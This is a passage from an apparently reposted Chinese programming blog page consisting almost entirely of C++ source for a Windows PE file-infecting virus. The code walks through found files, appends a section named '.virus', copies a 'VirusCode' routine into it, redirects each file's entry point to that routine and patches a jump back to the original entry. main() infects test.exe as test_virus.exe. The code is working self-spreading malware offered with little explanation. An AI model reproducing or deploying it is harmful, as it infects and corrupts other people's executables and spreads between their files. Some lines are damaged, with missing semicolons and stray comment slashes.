  784.          
  785.         // 
  786.         //*****向文件中添加程序代码***** 
  787.         // 
  788.         DWORD dwSetFileP; 
  789.          
  790.         //*****定位到新文件中新节开始处***** 
  791.         dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN); 
  792.         if (!dwSetFileP) 
  793.         { 
  794.             goto CloseNewFileHandle; 
  795.         } 
  796.          
  797.         //*****写入程序代码***** 
  798.         bWrite = myWriteFile(hNewFile , (LPVOID)dwCodeBegin , dwFunCodeLen , &dwWriten , NULL); 
  799.         if (!bWrite) 
  800.         { 
  801.             goto CloseNewFileHandle; 
  802.         } 
  803.          
  804.         //*****定位到文件尾部***** 
  805.         dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData +  
  806.             pNewSec->SizeOfRawData , NULL , FILE_BEGIN); 
  807.         if (!dwSetFileP) 
  808.         { 
  809.             goto CloseNewFileHandle; 
  810.         } 
  811.          
  812.         //*****设定文件结束***** 
  813.         if (!mySetEndOfFile(hNewFile)) 
  814.         { 
  815.             goto CloseNewFileHandle; 
  816.         } 
  817.  
  818.         // 
  819.         //*******修正原入口地址******* 
  820.         // 
  821.         PBYTE pModifyAddr; 
  822.         pModifyAddr = (PBYTE)pNewSec->VirtualAddress; 
  823.          
  824.         pModifyAddr += dwFunCodeLen; 
  825.          
  826.         int nSub;    //跳转的距离 
  827.         nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr; 
  828.          
  829.         DWORD dwModifyLoca; 
  830.         dwModifyLoca = pNewSec->PointerToRawData; 
  831.         dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5; 
  832.                  
  833.         //  *****定位到程序代码最后的五个字节处***** 
  834.         dwSetFileP = mySetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN); 
  835.         if (!dwSetFileP) 
  836.         { 
  837.             goto CloseNewFileHandle; 
  838.         } 
  839.         //*****修正jmp指令***** 
  840.         BYTE bJmp; 
  841.         bJmp = 0XE9; 
  842.         bWrite = myWriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL); 
  843.         if (!bWrite) 
  844.         { 
  845.             goto CloseNewFileHandle; 
  846.         } 
  847.         //*****修正跳转地址***** 
  848.         bWrite = myWriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL); 
  849.         if (!bWrite) 
  850.         { 
  851.             goto CloseNewFileHandle; 
  852.         } 
  853.  
  854.     // 
  855.     //*******扫尾工作******* 
  856.     // 
  857. CloseNewFileHandle: 
  858.     myCloseHandle(hNewFile); 
  859. FreeViewOfMap: 
  860.     myUnmapViewOfFile(pMapOfFile); 
  861. CLOSEMAPHANDLE: 
  862.     myCloseHandle(hMapFile); 
  863. CLOSEFILEHANDLE: 
  864.     myCloseHandle(hFile); 
  865. TheNextFile: 
  866.     ; 
  867.     } while (myFindNextFile(hFileFind , &findBuf)); 
  868.  
  869.     myFindClose(hFileFind); 
  870.  
  871.     return
  872.  
  873.  
  874.  
  875. // 
  876. //******************************************************************* 
  877. //*******主函数******* 
  878. //******************************************************************* 
  879. // 
  880. void main() 
  881. //******************************************************************* 
  882. //*******首先得到程序代码起始地址,结束地址,代码长度******* 
  883. //******************************************************************* 
  884.     / 
  885.     //  *******变量说明******* 
  886.     //  **dwFunBegAddr  :程序函数的开始地址 
  887.     //  **dwFunEndAddr  :程序函数的结束地址 
  888.     //  **dwFunCodeLen  :程序代码长度 
  889.     //  **dwJmpOff      :程序函数jmp区到真正入口的偏移 
  890.     //  **pMove         :临时的指针变量 
  891.     / 
  892.     DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen; 
  893.     PBYTE pMove = NULL; 
  894.      
  895.     //  *******首先指向程序函数的jmp指令******* 
  896.     pMove = (PBYTE)VirusCode; 
  897.      
  898.     cout << "函数的jmp地址为:" << (PVOID)pMove << endl; 
  899.     //  *******定位到jmp后面的偏移处******* 
  900.     pMove ++; 
  901.  
  902.     //  *******把偏移赋值给变量******* 
  903.     dwJmpOff = *((PDWORD)pMove); 
  904.  
  905.     //  *******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址******* 
  906.     dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff; 
  907.  
  908.     cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl; 
  909.     cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl; 
  910.      
  911.     //  *******以下通过搜索得到函数的结束地址******* 
  912.     //  *******首先把函数的入口地址赋给变量******* 
  913.     pMove = (PBYTE)dwFunBegAddr; 
  914.  
  915.     //  *******向后搜索,直到结尾******* 
  916.     while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5))) 
  917.     { 
  918.         pMove ++; 
  919.     } 
  920.  
  921.     //  *******此时pMove指向ret前一条指令******* 
  922.     //  *******pMove向后移5个字节,为程序代码的jmp指令占位******* 
  923.     pMove +=5; 
  924.     dwFunEndAddr = (DWORD)pMove; 
  925.  
  926.  
  927.     cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl; 
  928.  
  929.     //  *******结束地址减去起始地址,得到代码长度******* 
  930.     dwFunCodeLen = dwFunEndAddr - dwFunBegAddr; 
  931.  
  932.     cout << "总代码长度为:" << (int)dwFunCodeLen << endl; 
  933.  
  934. //******************************************************************* 
  935. //*******以下为在exe文件中添加程序代码******* 
  936. //******************************************************************* 
  937.     HANDLE hFile , hMapFile; 
  938.     LPVOID pMapOfFile = NULL; 
  939.      
  940. //******************************************************************* 
  941. //*******检测文件合法性******* 
  942. //******************************************************************* 
  943.     //  *******打开文件******* 
  944.     hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ |  
  945.             FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); 
  946.  
  947.     if (INVALID_HANDLE_VALUE == hFile) 
  948.     { 
  949.         cout << "CreateFile Error!" << endl; 
  950.         return
  951.     } 
  952.  
  953.     //  *******创建文件映射******* 
  954.     hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL); 
  955.  
  956.     if (!hMapFile) 
  957.     { 
  958.         cout << "CreateFileMapping Error!" << endl; 
  959.         goto CLOSEFILEHANDLE; 
  960.     } 
  961.  
  962.     //  *******把文件映射到内存中******* 
  963.     pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0); 
  964.  
  965.     if (!pMapOfFile) 
  966.     { 
  967.         cout << "MapViewOfFile Error!" << endl; 
  968.         goto CLOSEMAPHANDLE; 
  969.     } 
  970.  
  971.     IMAGE_DOS_HEADER *pDosHeader; 
  972.  
  973.     //  ********检测DOS文件头******* 
  974.     pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile; 
  975.  
  976.     if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) 
  977.     { 
  978.         cout << "Check Dos Header Error!" << endl; 
  979.         goto FreeViewOfMap; 
  980.     } 
  981.  
  982.     IMAGE_NT_HEADERS *pNtHeader; 
  983.  
  984.     //  *******检测NT文件头******* 
  985.     pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew); 
  986.  
  987.     if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) 
  988.     { 
  989.         cout << "Check NT Header Error!" << endl; 
  990.         goto FreeViewOfMap; 
  991.     } 
  992.  
  993.  
  994. //*************************************************************** 
  995. //*******准备工作******* 
  996. //*************************************************************** 
  997.     BOOL bCopy; 
  998.  
  999.     //  *******首先把要添加程序代码的文件复制一份******* 
  1000.     bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE); 
  1001.     if (!bCopy) 
  1002.     { 
  1003.         cout << "CopyFile Error!" << endl; 
  1004.     } 
  1005.  
  1006.     HANDLE hNewFile; 
  1007.  
  1008.     //  *******打开刚刚复制的文件******* 
  1009.     hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ  
  1010.                 | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); 
  1011.  
  1012.     if (!hNewFile) 
  1013.     { 
  1014.         cout << "CreateFile Error!" << endl; 
  1015.         goto FreeViewOfMap; 
  1016.     } 
  1017.  
  1018.     HGLOBAL pNewFileHeader; 
  1019.  
  1020.     //  *******为新文件的文件头申请一块内存,用于修改文件头信息******* 
  1021.     pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders); 
  1022.  
  1023.     if (!pNewFileHeader) 
  1024.     { 
  1025.         cout << "GlobalAlloc Error!" << endl; 
  1026.         goto CloseNewFileHandle; 
  1027.     } 
  1028.  
  1029.     //  *******用原文件头填充这块内存******* 
  1030.     RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders); 
  1031.  
  1032.     IMAGE_NT_HEADERS *pNewFileNtHeader; 
  1033.  
  1034.     pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew); 
  1035.  
  1036. // 
  1037. //*******此时的指针信息******* 
  1038. //*******pMapOfFile         :   原映射文件的开始 
  1039. //*******pDosHeader         :   原映射文件的DOS头也就是文件开始,只不过类型不一样 
  1040. //*******pNTHeader          :   原映射文件的NT头 
  1041. //*******pNewFileHeader     :   新文件的开始 
  1042. //*******pNewFileNtHeader   :   新文件的NT头 
  1043. // 
  1044. //**************************************************************** 
  1045. //*******修改新文件的节表信息******* 
  1046. //**************************************************************** 
  1047.     int nSecNum; 
  1048.     nSecNum = pNtHeader->FileHeader.NumberOfSections; 
  1049.     IMAGE_SECTION_HEADER *pLastSec , *pNewSec; 
  1050.  
  1051.     //  *******定位到原文件中的最后一个节表******* 
  1052.     pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS) 
  1053.                 + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER)); 
  1054.  
  1055.     //  *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头******* 
  1056.     pNewSec = pLastSec + 1; 
  1057.  
  1058.     //*******修改新增节表的相关信息******* 
  1059.     //*****节表总数加1***** 
  1060.     pNewFileNtHeader->FileHeader.NumberOfSections ++; 
  1061.  
  1062.     //*****修改新节的文件偏移***** 
  1063.     pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData; 
  1064.  
  1065.     //*****修改新节的文件尺寸***** 
  1066.     int nAlignNum; 
  1067.  
  1068.     nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment; 
  1069.     if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0) 
  1070.     { 
  1071.         nAlignNum++; 
  1072.     } 
  1073.     pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment; 
  1074.  
  1075.     //*****修改所有代码长度按内存页对齐后的大小***** 
  1076.     nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  1077.     if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) 
  1078.     { 
  1079.         nAlignNum ++; 
  1080.     } 
  1081.     pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *  
  1082.                         pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  1083.  
  1084.     //*****修改文件内存映像尺寸***** 
  1085.     pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *  
  1086.                         pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  1087.  
  1088.     //*****修改新节的内存偏移量***** 
  1089.     //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小***** 
  1090.     nAlignNum = pLastSec->Misc.VirtualSize /  
  1091.                 pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  1092.     if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) 
  1093.     { 
  1094.         nAlignNum ++; 
  1095.     } 
  1096.     pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment + 
  1097.                                 pLastSec->VirtualAddress; 
  1098.  
  1099.     //*****修改新节的内存尺寸***** 
  1100.     pNewSec->Misc.VirtualSize = dwFunCodeLen; 
  1101.  
  1102.     //*****更新新节属性***** 
  1103.     pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |  
  1104.                     IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; 
  1105.  
  1106.     //*****更新节名***** 
  1107.     strcpy((char*)pNewSec->Name , ".virus"); 
  1108.  
  1109.     //*****更新入口地址***** 
  1110.  
  1111.     pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress; 
  1112.  
  1113.     BOOL bWrite; 
  1114.     DWORD dwHeaderSize , dwWriten; 
  1115.     dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders); 
  1116.     bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL); 
  1117.  
  1118.     //*****向文件中添加程序代码***** 
  1119.     DWORD dwSetFileP; 
  1120.  
  1121.     //*****定位到新文件中新节开始处***** 
  1122.     dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN); 
  1123.     if (!dwSetFileP) 
  1124.     { 
  1125.         cout << "SetFilePointer Error!" << endl; 
  1126.         goto CloseNewFileHandle; 
  1127.     } 
  1128.  
  1129.     //*****写入程序代码***** 
  1130.     bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL); 
  1131.     if (!bWrite) 
  1132.     { 
  1133.         cout << "Write Virus Code Error!" << endl; 
  1134.         goto CloseNewFileHandle; 
  1135.     } 
  1136.  
  1137.     //*****定位到文件尾部***** 
  1138.     dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData +  
  1139.                     pNewSec->SizeOfRawData , NULL , FILE_BEGIN); 
  1140.     if (!dwSetFileP) 
  1141.     { 
  1142.         cout << "SetFilePointer End Error!" << endl; 
  1143.         goto CloseNewFileHandle; 
  1144.     } 
  1145.  
  1146.     //*****设定文件结束***** 
  1147.     if (!SetEndOfFile(hNewFile)) 
  1148.     { 
  1149.         cout << "SetEndOfFile Error!" << endl; 
  1150.         goto CloseNewFileHandle; 
  1151.     } 
  1152.  
  1153.     //*******修正原入口地址******* 
  1154.     PBYTE pModifyAddr; 
  1155.     pModifyAddr = (PBYTE)pNewSec->VirtualAddress; 
  1156.  
  1157.     pModifyAddr += dwFunCodeLen; 
  1158.     //printf("%x\n" , pModifyAddr); 
  1159.  
  1160.     int nSub;    //跳转的距离 
  1161.     nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr; 
  1162.  
  1163.     DWORD dwModifyLoca; 
  1164.     dwModifyLoca = pNewSec->PointerToRawData; 
  1165.     dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5; 
  1166.     //dwModifyLoca ++; 
  1167.  
  1168.     //  *****定位到程序代码最后的五个字节处***** 
  1169.     dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN); 
  1170.     if (!dwSetFileP) 
  1171.     { 
  1172.         cout << "Modify Address SetFilePointer Error!" << endl; 
  1173.         goto CloseNewFileHandle; 
  1174.     } 
  1175.     //*****修正jmp指令***** 
  1176.     BYTE bJmp; 
  1177.     bJmp = 0XE9; 
  1178.     bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL); 
  1179.     if (!bWrite) 
  1180.     { 
  1181.         cout << "Modify Address WriteFile Error!" << endl; 
  1182.         goto CloseNewFileHandle; 
  1183.     } 
  1184.     //*****修正跳转地址***** 
  1185.     bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL); 
  1186.     if (!bWrite) 
  1187.     { 
  1188.         cout << "Modify Address WriteFile Error!" << endl; 
  1189.         goto CloseNewFileHandle; 
  1190.     } 
  1191.  
  1192. //**************************************************************** 
  1193. //*******扫尾工作******* 
  1194. //**************************************************************** 
  1195. CloseNewFileHandle: 
  1196.     CloseHandle(hNewFile); 
  1197. FreeViewOfMap: 
  1198.     UnmapViewOfFile(pMapOfFile); 
  1199. CLOSEMAPHANDLE: 
  1200.     CloseHandle(hMapFile); 
  1201. CLOSEFILEHANDLE: 
  1202.     CloseHandle(hFile); 
  1203. }
  1204. 原文地址:http://blog.csdn.net/yincheng01/article/details/7214473
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值